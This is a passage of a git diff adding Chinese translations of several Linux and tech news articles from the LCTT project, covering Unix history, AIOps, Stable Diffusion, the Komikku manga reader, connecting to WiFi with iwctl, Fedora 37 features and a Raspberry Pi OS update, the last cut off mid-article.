被许多工作站供应商(传统桌面系统),如 昇阳微系统Sun Microsystems ,改编为专有的 Unix 变体。 + +该版本最终分叉创建了一些开源的变体,例如 OpenBSD、FreeBSD 等。这些自由版本为 史蒂夫·乔布斯Steve Jobs 创立的 NeXT 创建 NeXTSTEP 开辟了道路。而 NeXTSTEP 最终成为苹果公司 macOS 的基础。 + +### 总结 + +Unix 是少数具有独到思想并致力于解决问题的人取得的非凡成就。如果考虑到在创建操作系统当时可用的计算能力和内存量,这个操作系统简直就是一件艺术品。 + +几十年来,所有这些一步步的进步,最终使我们走到了今天。无论有多少内核、操作系统和以编程语言形式出现的抽象概念,就其本质而言,它们都始于一个单一的来源。 + +我一直认为程序或代码是人类的思想,是你的逻辑、想法,只是写在 “IF-ELSE” 语句中,以实现一些现实世界的结果。 + +参考资料: + +* [https://www.bell-labs.com/usr/dmr/www/picture.html][7]1 +* [https://groups.google.com/g/comp.os.minix/c/dlNtH7RRrGA/m/SwRavCzVE7gJ][8] +* [https://en.wikipedia.org/wiki/Andrew_S._Tanenbaum][9] +* [https://en.wikipedia.org/wiki/History_of_Linux][10] +* [https://en.wikipedia.org/wiki/History_of_Unix][11] +* [https://computerhistory.org/blog/the-earliest-unix-code-an-anniversary-source-code-release/][12] + +> “所有的革命,在它们发生之前,都是历史的必然。” —— 大卫·米切尔 《云图》 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/unix-history/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/09/The-beginning-1024x576.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/09/Scanned-copy-of-actual-Unix-code-1024x646.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/09/Ken-Thompson-sitting-and-Dennis-Ritchie-at-PDP-11.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/09/The-text-book-of-C-which-we-all-read.jpg +[5]: https://groups.google.com/g/comp.os.minix/c/dlNtH7RRrGA/m/SwRavCzVE7gJ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/09/Famous-operating-systems-book-by-Tanenbaum.jpg +[7]: https://www.bell-labs.com/usr/dmr/www/picture.html +[8]: https://groups.google.com/g/comp.os.minix/c/dlNtH7RRrGA/m/SwRavCzVE7gJ +[9]: https://en.wikipedia.org/wiki/Andrew_S._Tanenbaum +[10]: https://en.wikipedia.org/wiki/History_of_Linux +[11]: https://en.wikipedia.org/wiki/History_of_Unix +[12]: https://computerhistory.org/blog/the-earliest-unix-code-an-anniversary-source-code-release/ +[13]: https://t.me/debugpoint diff --git a/published/202209/20220907 Get Ready to Embrace the AIOps Era.md b/published/202209/20220907 Get Ready to Embrace the AIOps Era.md new file mode 100644 index 0000000000..96921435be --- /dev/null +++ b/published/202209/20220907 Get Ready to Embrace the AIOps Era.md @@ -0,0 +1,79 @@ +[#]: subject: "Get Ready to Embrace the AIOps Era" +[#]: via: "https://www.opensourceforu.com/2022/09/get-ready-to-embrace-the-aiops-era/" +[#]: author: "Amit Shingala https://www.opensourceforu.com/author/amit-shingala/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15060-1.html" + +准备好迎接 AIOps 时代 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/23/083440mxyb6e388ze2sbbs.jpg) + +> 随着技术的进步,企业,无论大小,都必须将自己转变为数字公司。转型不再是“选择”的问题;相反,它是关于“如何”推进过渡。这就是 AIOps 的用武之地。 + +将组织转变为数字公司会遇到很多挑战。缺乏专门的 IT 技能、组织变革管理、不断变化的客户需求和混合环境只是其中的一小部分。企业需要增强其 IT 运营(ITOps)以应对这些挑战并满足客户期望。 + +### 数字化转型:AIOps 之路 + +未来,ITOps 将结合算法和人工智能,使 IT 系统的性能变得透明,并帮助他们提供无缝体验。 + +> “AIOps 对 IT 运营的长期影响将是变革性的。” —— Gartner + +AIOps 对于成功的数字化转型至关重要,可以帮助系统以现代业务所需的速度运行。反过来,这将确定公司获得和保持市场领先地位的速度。 + +现代 AIOps 技术在本地、云端或混合环境中提供 IT 基础架构。它们的自动化使开发人员能够专注于设计下一代业务应用,而不必担心底层基础设施。 + +### 什么是 AIOps? + +AIOps 结合人工智能和机器学习来分析 IT 运营的数据。这是将人工智能应用于 IT 运营的过程。它可以帮助组织主动检测错误,还可以帮助运营团队在问题影响最终用户之前预防问题。 + +传统的 IT 管理技术已经无法应对数字化业务转型。当 Gartner 创造 AIOps 一词时,该公司预测 IT 运营过程将发生重大变化,组织管理其 IT 生态系统的方式也会发生巨大变化。 + +AIOps 平台使用大数据。他们从各种 IT 运营和设备收集数据,以自动识别和实时响应问题,同时仍提供传统的历史分析。然后,AIOps 使用机器学习对组合的 IT 数据执行综合分析。 + +结果是自动化驱动的洞察力驱使持续改进和修复。AIOps 支持基本 IT 功能的持续集成和部署 (CI/CD)。 + +### AIOps 的范围是什么? + +开始使用 AIOps 最初似乎具有挑战性,因此最好采取循序渐进的方法。我们需要从识别和理解 IT 运营数据开始。 AIOps 的核心是数据驱动。因此,它需要访问所有相关的操作数据,包括非结构化数据、日志、指标、实时数据、API 输出和设备数据。还需要结构化的业务数据,例如数据库、社交活动和其他关系数据。 AIOps 平台处理的相关数据越多,他们的预测就越准确。 + +企业需要了解他们的数据如何帮助他们解决最大的问题,无论他们身处哪个行业。他们应该实施 AIOps 来回顾他们过去的失败,并确定哪些数据将帮助他们找到解决方案。 + +数据分析可用于查找中断或系统变慢的根源。然后 AIOps 平台可用于检测常见问题及其补救措施。企业可以使用收集到的结果来实施机器学习和 AI,以进行实时监控和自动响应。这整个过程帮助公司推动 AI 成熟,有效地修复错误,避免停机,提高效率。 + +![图 1:AIOps 平台可实现对 IT 运营监控 (ITOM) 的持续洞察(来源:https://www.gartner.com/en/documents/3971186)][1] + +### 为什么 2022 年需要 AIOps? + +随着企业加快数字化转型,应用程序和系统架构变得非常先进。我们可以通过以下几种方式见证这种复杂性: + +* 组织正在从传统的应用架构转移到云原生、灵活和基于微服务的容器化应用堆栈。 +* 这些应用也部署在本地、混合、公共和私有云平台上。 + +随着应用和 IT 环境的扩展,它们会产生大量数据。 IT 运营团队因无法管理的数据而筋疲力尽。但是,人工智能可以处理大量数据。随着数据量的扩大,将人工智能纳入 IT 流程的机会要大得多。 + +异常检测、分类和预测都可以通过使用机器学习和深度学习模型来完成,这些模型擅长分析海量数据并提供分析。AIOps 的许多功能可帮助公司通过交互式仪表盘提供良好的用户体验。 + +实施 AIOps 的企业报告了诸如无缝体验、更低的运营费用、更快的客户服务、更短的平均解决时间和更少的停机时间等好处。 AIOps 通过基于预测分析做出坚定的决策来支持 IT 运营。 + +### 最后一点 + +AIOps 是 IT 运营分析(ITOA)的下一步。 人工智能、认知技能和 RPA(机器人流程自动化)用于在基础设施或 IT 运营问题成为问题之前自动修复它们。 自我修复系统是 AIOps 的最终目标。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/get-ready-to-embrace-the-aiops-era/ + +作者:[Amit Shingala][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/amit-shingala/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-1-AIOps-platform-enabling-continuous-insight-across-IT-operations-monitoring-ITOM-2.jpg diff --git a/published/202209/20220907 Image Generation Model Stable Diffusion Is Now Open Source.md b/published/202209/20220907 Image Generation Model Stable Diffusion Is Now Open Source.md new file mode 100644 index 0000000000..80fbd26f8c --- /dev/null +++ b/published/202209/20220907 Image Generation Model Stable Diffusion Is Now Open Source.md @@ -0,0 +1,44 @@ +[#]: subject: "Image Generation Model Stable Diffusion Is Now Open Source" +[#]: via: "https://www.opensourceforu.com/2022/09/image-generation-model-stable-diffusion-is-now-open-source/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15019-1.html" + +图像生成模型 Stable Diffusion 现已开源 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/stable-1-768x525.png) + +Stable Diffusion 是一个“文本到图像”的人工智能模型。近日,Stable AI 公司向公众开放了它的预训练模型权重。当输入一个文字描述时,Stable Diffusion 可以生成 512×512 像素的图像,这些图像如相片般真实,反映了文字描述的场景。 + +这个项目先是经历了早期的代码发布,而后又向研究界有限制地发布了模型权重,现在模型权重已经向公众开放。对于最新版本,任何人都可以在为普通消费者设计的硬件上下载和使用 Stable Diffusion。该模型不仅支持文本到图像的生成,而且还支持图像到图像的风格转换和放大。与之一同发布的还有 DreamStudio 测试版,这是一个用于该模型的 API 和 Web 用户界面。 + +Stable AI 公司表示: + +> “Stable Diffusion 是一个文本到图像的模型,它将使数十亿人在几秒钟内创造出令人惊叹的艺术。它在速度和质量上的突破意味着它可以在消费者级的 GPU 上运行。这将允许研究人员和公众在一系列条件下运行它,并使图像生成普及化。我们期待着有围绕这个模型和其他模型的开放生态系统出现,以真正探索潜伏空间的边界。” + +Latent Diffusion 模型(LDM)是 Stable Diffusion 模型建立的一种图像生成方法。LDM 通过在潜伏表示空间latent representation space中迭代“去噪”输入来创建图像,然后将表示解码为完整的图像,这与其他著名的图像合成技术,如生成对抗网络(GAN)和 DALL-E 采用的自动回归方法不同。最近的 IEEE/CVF 计算机视觉和模式识别会议(CVPR)上有一篇关于 LDM 的论文,它是由慕尼黑路德维希-马克西米利安大学的机器视觉和学习研究小组创建的。今年早些时候,InfoQ 也报道的另一个基于扩散的图片生成 AI 是谷歌的 Imagen 模型。 + +Stable Diffusion 可以支持众多的操作。与 DALL-E 类似,它可以生成一个高质量的图像,并使其完全符合所需图像的文字描述。我们也可以使用一个直观的草图和所需图像的文字描述,从而创建一个看起来很真实的图像。类似的“图像到图像”的能力可以在 Meta AI 的 Make-A-Scene 模型中找到,该模型刚发布不久。 + +一些人公开分享了 Stable Diffusion 创建的照片的例子,Stable AI 的首席开发人员 Katherine Crowson 也在 Twitter 上分享了许多照片。毫无疑问,基于人工智能的图片合成技术将对艺术家和艺术界产生影响,这令一些观察家感到担忧。值得注意的是,在 Stable Diffusion 发布的同一周,一幅由人工智能生成的作品在科罗拉多州博览会的艺术竞赛中获得了最高荣誉。 + +Stable Diffusion 的源代码可以在 [GitHub][1] 上查阅。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/image-generation-model-stable-diffusion-is-now-open-source/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://github.com/CompVis/stable-diffusion diff --git a/published/202209/20220908 Komikku- A Free and Open-Source Manga Reader for Linux.md b/published/202209/20220908 Komikku- A Free and Open-Source Manga Reader for Linux.md new file mode 100644 index 0000000000..fa96d1b6b4 --- /dev/null +++ b/published/202209/20220908 Komikku- A Free and Open-Source Manga Reader for Linux.md @@ -0,0 +1,123 @@ +[#]: subject: "Komikku: A Free and Open-Source Manga Reader for Linux" +[#]: via: "https://itsfoss.com/komikku-manga-reader/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15078-1.html" + +Komikku: 一个自由开源的 Linux 日漫阅读器 +====== + +喜欢阅读漫画书吗?有 [大量可用于 Linux 的漫画阅读器][1]。 + +但是,为日漫Manga量身定做的东西呢? + +我想我找到了一个适合阅读漫画的完美应用,它可以管理它们,也可以下载它们进行离线使用。我最近发现的这个应用叫做 **Kommiku**。 + +让我提一下这个应用的主要亮点,并帮助你在 Linux 上开始使用它。 + +### Komikku: 一个 Linux 专用的日漫阅读器 + +![Komikku UI][2] + +Komikku 是一个开源的日漫阅读器,且仅有 Linux 应用。 + +它主要是为配合 GNOME 桌面环境而定制的,但你也可以在运行 [其他桌面环境][3] 的 Linux 发行版上使用它。 + +许多 PDF 或 [电子书阅读器][4],如 Bookworm、Calibre 和 Foliate 都支持漫画书格式。 + +然而,Komikku 用户会有更多的功能,以获得阅读漫画的良好体验。 + +![Komikku 在线服务器列表][5] + +例如,Komikku 可在线和离线观看日漫。此外,你可以从支持的服务器上下载它。 + +### Komikku 的特点 + +![komikku reader][6] + +Komikku 的一些最佳功能包括: + +* 从几十个支持的服务器进行在线阅读。 +* 离线阅读已下载的日漫。 +* 按类别组织你的日漫库。 +* 从右到左、从左到右、垂直和网络漫画阅读模式。 +* 几种类型的导航(键盘方向键、通过鼠标左右滑动或点击(触摸板/触摸屏)、滚轮和滑动手势(触摸板和触摸屏)。 +* 自动更新漫画。 +* 自动下载新章节。 +* 阅读历史。 +* 浅色和深色主题。 +* 自适应设计(能够从桌面工作站扩展到移动电话)。 +* 键盘快捷键。 + +![Komikku 紧凑视图][7] + +### 安装 + +Komikku 可在 [Flathub][8] 上找到。因此,你可以把它安装在任何 Linux 发行版上。 + +不过,你需要 [在你的系统上设置 Flatpak 并启用 Flathub 仓库][9]。 + +当你在系统上设置了 Flatpak,你可以通过软件中心搜索它,或者从你的终端安装它。 + +![从 GNOME 软件中安装 Komikku][10] + +要使用终端安装 Komikku,请输入以下命令: + +``` +flatpak install flathub info.febvre.Komikku +``` + +Komikku 的原生包也可用于 Arch Linux 和 Fedora 等发行版。以下是安装它们的命令: + +对于 Arch Linux(在 AUR 中可用): + +``` +yay -Syu komikku +``` + +对于 Fedora(在官方仓库中可用): + +``` +sudo dnf install komikku +``` + +在其 [GitLab 页面][11]上可以查看 Komikku 的源代码以及从源代码构建它的说明。可以前往其官方网页了解更多信息。 + +> **[下载 Komikku][12]** + +### 总结 + +我发现 Komikku 非常直观干净。我注意到在线服务器并不总是工作,经常有一些小故障,但管理离线漫画和将你的藏品分类是毫不费力的。 + +所有这些都要感谢 **Valéry Febvre**(Komikku 的开发者),我们有了另一个有用的 Linux 应用。如果你喜欢这个应用,你可以考虑向该项目捐款。 + +*你使用哪种漫画书阅读器?你会尝试 Komikku 吗?请在下面的评论中告诉我你的想法*。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/komikku-manga-reader/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-comic-book-reader-linux/ +[2]: https://itsfoss.com/wp-content/uploads/2022/09/komikku-library.png +[3]: https://itsfoss.com/best-linux-desktop-environments/ +[4]: https://itsfoss.com/best-ebook-readers-linux/ +[5]: https://itsfoss.com/wp-content/uploads/2022/09/komikku-online-servers.png +[6]: https://itsfoss.com/wp-content/uploads/2022/09/komikku-reader.png +[7]: https://itsfoss.com/wp-content/uploads/2022/09/komikku-mobile-view.png +[8]: https://flathub.org/apps/details/info.febvre.Komikku +[9]: https://itsfoss.com/flatpak-guide/ +[10]: https://itsfoss.com/wp-content/uploads/2022/09/install-komikku-gnome-software.png +[11]: https://gitlab.com/valos/Komikku +[12]: https://valos.gitlab.io/Komikku/ diff --git a/published/202209/20220909 Connect to WiFi Using Terminal in Arch Linux and Other Distros.md b/published/202209/20220909 Connect to WiFi Using Terminal in Arch Linux and Other Distros.md new file mode 100644 index 0000000000..70c6c1ada7 --- /dev/null +++ b/published/202209/20220909 Connect to WiFi Using Terminal in Arch Linux and Other Distros.md @@ -0,0 +1,143 @@ +[#]: subject: "Connect to WiFi Using Terminal in Arch Linux and Other Distros" +[#]: via: "https://www.debugpoint.com/connect-wifi-terminal-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15067-1.html" + +在 Arch Linux 和其他发行版中使用终端连接到 WiFi +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/24/185145fcas1rje3f8pr8sa.jpg) + +> 本快速指南介绍了在 Arch Linux 和其他发行版中使用终端设置和连接 WiFi 所需的步骤。 + +本指南非常适合没有 GUI 只有终端且没有其他有线互联网连接可用的情况。这些步骤可帮助你手动检测无线网卡和设备,并通过终端密码验证连接到 WiFi 热点。 + +本指南使用 [iwd][1](Net Wireless Daemon)通过终端连接到 WiFi。 + +### 在 Arch Linux 和其他发行版中使用终端连接到 WiFi + +#### 1、设置 iwd + +`iwd` 包有三个主要模块: + +- `iwctl`:无线客户端 +- `iwd`:守护进程 +- `iwmon`:监控工具 + +在终端中输入: + +``` +iwctl +``` + +![iwctl 提示符][2] + +如果找不到该命令,那么需要从 [此处][3] 下载安装包。 + +从任何其他具有互联网连接的系统/笔记本电脑获取帮助,以通过安装 USB 下载和安装软件包。 + +或者,如果你有一个可连接互联网的 USB 网卡,那么将其插入你的系统。并通过以下命令安装。 + +USB 网卡应该可以在 Arch 和当今大多数 Linux 系统中开箱即用,连接到互联网。 + +**Arch:** + +``` +pacman -S iwd +``` + +**Debian、Ubuntu 和其他类似发行版:** + +``` +sudo apt-get install iwd +``` + +**Fedora:** + +``` +sudo dnf install iwd +``` + +如果你看到了 `iwctl` 提示符(如下所示),那么继续下一步。 + +#### 2、配置 + +运行以下命令以获取系统的**无线设备名称**。 + +``` +device list +``` + +![iwctl – 设备列表][4] + +要**获取 WiFi 网络列表**,请运行以下命令。在以下命令和所有其他命令中将 `wlan0` 替换为你的设备名称。 + +``` +station wlan0 get-networks +``` + +![iwctl – 可用网络][5] + +该命令为你提供具有安全类型和信号强度的可用 WiFi 网络列表。 + +#### 3、连接 + +要**连接到 WiFi 网络**,请使用上述 `get-networks` 命令中的 WiFi 接入点名称运行以下命令。 + +``` +station wlan0 connect +``` + +出现提示时输入你的 WiFi 密码。 + +![使用 iwctl 连接到 WiFi][6] + +如果一切顺利,你现在可以连接到互联网。 + +### 使用指南 + +如下所示,你可以使用简单的 `ping` 命令检查连接。`ping` 回复成功的数据包传输表示连接稳定。 + +``` +ping -c 3 google.com +``` + +你还可以使用以下命令检查连接状态。 + +``` +station wlan0 show +``` + +`iwd` 在 `/var/lib/iwd` 中保存 `.psk` 后缀的配置文件,其中带有你的接入点名称。此文件包含使用你的 WiFi 网络的密码和 SSID 生成的哈希文件。 + +按 `CTRL+D` 退出 `iwctl` 提示符。 + +### 总结 + +我希望本指南可以帮助你通过终端连接到互联网。当你没有其他方式连接到 WiFi 时,这会有所帮助。例如,如果你在独立系统(不是 VM)中安装 Arch Linux,那么需要连接到互联网以通过终端使用 `pacman` 下载软件包。 + +如果你遇到任何问题,请在下面的评论栏中指出错误消息。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/connect-wifi-terminal-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://wiki.archlinux.org/index.php/Iwd +[2]: https://www.debugpoint.com/wp-content/uploads/2020/11/iwctl-Prompt.jpg +[3]: https://www.archlinux.org/packages/?name=iwd +[4]: https://www.debugpoint.com/wp-content/uploads/2020/11/iwctl-device-list-2.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2020/11/iwctl-available-networks.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2020/11/connect-to-WiFi-using-iwctl.jpg diff --git a/published/202209/20220909 Here-s What-s Coming to Fedora 37.md b/published/202209/20220909 Here-s What-s Coming to Fedora 37.md new file mode 100644 index 0000000000..5851daa6bb --- /dev/null +++ b/published/202209/20220909 Here-s What-s Coming to Fedora 37.md @@ -0,0 +1,128 @@ +[#]: subject: "Here's What's Coming to Fedora 37" +[#]: via: "https://news.itsfoss.com/fedora-37-features/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15016-1.html" + +即将到来的 Fedora 37 前瞻 +====== + +> Fedora 37 将于下个月发布。让我们来看看它带来的变化。 + +![][1] + +最好的 Linux 发行版之一的升级版,Fedora 37,即将面世。它将在下个月发布,如果一切按计划进行,它最早将于 2022 年 10 月 18 日发布。而测试版应该在 2022 年 9 月 13 日发布。 + +让我重点介绍一些你可能想关注的 Fedora 37 重要功能。 + +### Fedora 37 功能 + +![Fedora 37][2] + +[Fedora][3] 37 带有最新的 GNOME 桌面以及其他完善的功能。这些包括: + +#### 1、GNOME 43 + +![Fedora 37 切换菜单][4] + +GNOME 43 和其他一些技术改进将在 Fedora 37 中首次亮相。所以,看看它的体验如何应该是很令人感兴趣的。 + +这是一次旨在提高用户体验的实质性升级。GNOME 43 中的标志性的重要改进包括一个新的快速切换菜单和 [对 Nautilus 文件管理器的改变][5]。 + +![Fedora 37 UI][6] + +此外,其他一些重要的变化还有: + +* GNOME Web 浏览器对 WebExtensions 的支持。 +* 文件管理器中新的文档上下文菜单。 +* GNOME “软件”的改进。 + +#### 2、Linux 内核 5.19 + +![Fedora 37 neofetch][9] + +Linux 内核 5.19 是一个有用的更新,它改进了对 ARM SoC 的支持、英特尔的 Arc GPU 支持,以及对 RISC-V 架构支持的一些调整。 + +你可以查看 [Linux 内核 5.19 的变化列表][10] 来了解更多。 + +#### 3、桌面环境更新 + +虽然 GNOME 43 是 Fedora 的旗舰桌面环境,但你也可以找到带有 KDE Plasma 5.26、Xfce 4.16 和 MATE 1.24 的 Fedora 升级版。 + +在这些版本中,鉴于 KDE Plasma 桌面的一系列改进,带有 KDE Plasma 5.26 的 Fedora 37 也是一个不错的选择。 + +你可以在我们之前的报道中阅读更多 [关于 KDE Plasma 5.26 版本的信息][11]。 + +不要忘记,你也可以看到一个 [新的 Budgie 桌面的 Fedora 定制版][13]。 + +截至目前,桌面、控制中心、屏幕保护程序和桌面视图的软件包都已经出现在 [Fedora 的软件包源][15]。所以,我想你可以期待它们出现在 Fedora 37 的发布中。 + +#### 4、树莓派 4 支持 + +Fedora 支持树莓派,但不支持树莓派 4。 + +在 Fedora 37 中,由于对较新的 Linux 内核和 Mesa(图形加速)的上游改进,它 [正式引入了对树莓派 4 的支持][16]。 + +这些变化也应该使 Fedora 37 在树莓派 3 系列和 Zero 2 W 上有更好的体验。 + +#### 5、实验性的基于 Web 界面的安装程序 + +Fedora 37 将是第一个为其 [Anaconda 安装程序][17] 提供基于网页的用户界面的版本。 + +换句话说,这是对其当前安装程序的重新设计。请注意,在本次发布之后,它将只作为一个额外的预览镜像提供。 + +你可以单独下载它并进行实验。到现在为止,我们还不能试用它。所以,你需要在预览镜像可用后再去试试它。 + +#### 其他变化和新的默认壁纸 + +![Fedora 37 深色壁纸][18] + +对于 Fedora 37,除了可以期待很多技术上的改进,不要忘了,它还有一个新的壁纸,有浅色/深色的变体。上图显示了 Fedora 37 的深色壁纸。 + +浅色变体可以在本文的开头看到。 + +Fedora 37 的其他变化包括: + +![Fedora core os][19] + +* Fedora CoreOS 将被确认为 Fedora 的主要版本之一。 +* Fedora Cloud 将被列为官方版本之一。 +* GNU Emacs 28 更新。 +* 用于 Fedora 服务器的新 KVM 镜像。 + +你可以参考 [官方的 Fedora 37 更新日志][20] 了解更多技术细节。 + +💬 *你对即将发布的带有 GNOME 43 的 Fedora 37 版本有何看法?请在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-37-features/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/fedora-37-features.png +[2]: https://news.itsfoss.com/content/images/2022/09/fedora-37-screenshot-home.jpg +[3]: https://getfedora.org/ +[4]: https://news.itsfoss.com/content/images/2022/09/fedora-37-toggle-menu.jpg +[5]: https://news.itsfoss.com/gnome-files-43/ +[6]: https://news.itsfoss.com/content/images/2022/09/fedora-37-ui.jpg +[9]: https://news.itsfoss.com/content/images/2022/09/fedora-37-kernel.png +[10]: https://news.itsfoss.com/linux-kernel-5-19-release/ +[11]: https://news.itsfoss.com/kde-plasma-5-26-features/ +[13]: https://news.itsfoss.com/fudgie-fedora-budgie-announcement/ +[15]: https://src.fedoraproject.org/rpms/budgie-control-center +[16]: https://news.itsfoss.com/fedora-raspberry-pi-4/ +[17]: https://fedoraproject.org/wiki/Anaconda +[18]: https://news.itsfoss.com/content/images/2022/09/f37-wallpaper-dark.jpg +[19]: https://news.itsfoss.com/content/images/2022/09/fedora-core-os.jpg +[20]: https://fedoraproject.org/wiki/Releases/37/ChangeSet diff --git a/published/202209/20220909 The New Raspberry Pi OS Update Brings in Sweet Little Improvements.md b/published/202209/20220909 The New Raspberry Pi OS Update Brings in Sweet Little Improvements.md new file mode 100644 index 0000000000..dbc4e7ada9 --- /dev/null +++ b/published/202209/20220909 The New Raspberry Pi OS Update Brings in Sweet Little Improvements.md @@ -0,0 +1,104 @@ +[#]: subject: "The New Raspberry Pi OS Update Brings in Sweet Little Improvements" +[#]: via: "https://news.itsfoss.com/raspberry-pi-os-sep-update/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "zjsoftceo" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15032-1.html" + +新树莓派操作系统更新带来一些不错的小改进 +====== + +> 树莓派操作系统更新,增加了对 NetworkManager 支持以及新的操作快捷方式。 + +![The New Raspberry Pi OS Update Brings in Sweet Little Improvements][1] + +如果你是小型迷你计算机的狂热粉丝的话,你可能知道树莓派可以用作成熟的桌面计算机使用。此外,它也是支持各种电子/物联网项目的核心组件。 + +虽然许多 Linux 发行版为树莓派提供了镜像文件,但树莓派基金会仍然提供了其官方操作系统,即 [树莓派操作系统][2]Raspberry Pi OS。 + +顺便说一句,树莓派操作系统是基于 Debian 的。具体来说,当前版本是基于 [Debian 11 Bullseye][3] 的,它是采用 LXDE 作为桌面应用环境的轻量级操作系统。 + +### 树莓派操作系统:带来了什么最新内容? + +尽管这个最新的更新并不是一个重大更新,但它仍然带来了一些有用的补充。如果你把树莓派用作桌面计算机来使用,你一定会欢迎它的。 + +让我们来看看新版本提供了什么。 + +#### 主菜单的快速搜索功能 + +虽然 Windows 系统和许多 Linux 发行版已经包含了这个基本功能,但树莓派操作系统之前一直没有这个功能。 + +用户可以点击“树莓派”图标或键盘上的默认主机键,打开主菜单,键入要启动的应用程序的名称,就会自动出现一个新的搜索框。 + +可用向上和向下箭头键来浏览菜单,用回车键选择应用。 + +![主菜单的新搜索框][4] + +如果用户不键入任何内容,则主菜单的功能与点击“树莓派”图标以显示应用程序时的功能完全相同。 + +再也不需要用鼠标光标来打开应用程序了。 + +#### 全新的键盘操作快捷方式 + +就像主菜单一样,你还可以通过键盘打开 Wi-Fi 和切换蓝牙功能。 + +按下 `Ctrl+Alt+W` 将打开 Wi-Fi 菜单,而 `Ctrl+Alt+B` 是用于蓝牙的。 + +#### 增强型音频输入控制 + +任务栏现在将为输入和输出设备显示两个单独的图标,而不是单个默认音量图标。 + +![音量滑块][5] + +每当连接音频输入设备时,扬声器图标旁边也会弹出一个麦克风图标。此外,如果连接了多个音频输入设备,用户可以右键单击该图标从列表中选择设备,而左键单击将显示音量控制滑块。 + +#### 支持 NetworkManager + +NetworkManager 是许多 Linux 发行版用来处理网络功能的流行的守护程序。它包括许多功能,可帮助用户相应地调整和配置网络设置。 + +如果你想进一步了解,请在此处了解有关 Linux 中守护程序的更多信息: + +> **[什么是 Linux 中的守护进程?为什么使用它们?][6]** + +就其功能而言,引入了对 NetworkManager 的初步支持,以作为 dhcpcd 的替代选项。这意味着用户可以轻松管理 VPN 连接,而不会有太多麻烦,甚至可以将树莓派配置为一个 Wi-Fi 接入点。 + +![][8] + +> 请注意,NetworkManager 的支持应该还在测试中。为了获得稳定的网络体验,建议用户继续使用 dhcpcd。 +> +> 如果你仍然想尝试 NetworkManager,则需要遵循一些高级步骤。但可以放心,如果在使用 NetworkManager 时遇到任何问题,可以选择切换回 dhcpcd。 + +如果你想了解有关该版本的更多信息,[官方发行说明][9] 包括了更多详细信息。 + +### 获取树莓派操作系统 + +前往下面链接的官方下载页面下载新的镜像文件。 + +> **[获取树莓派操作系统][10]** + +你可以在任何系统上使用树莓派 Imager 来制作要在树莓派上使用的 microSD 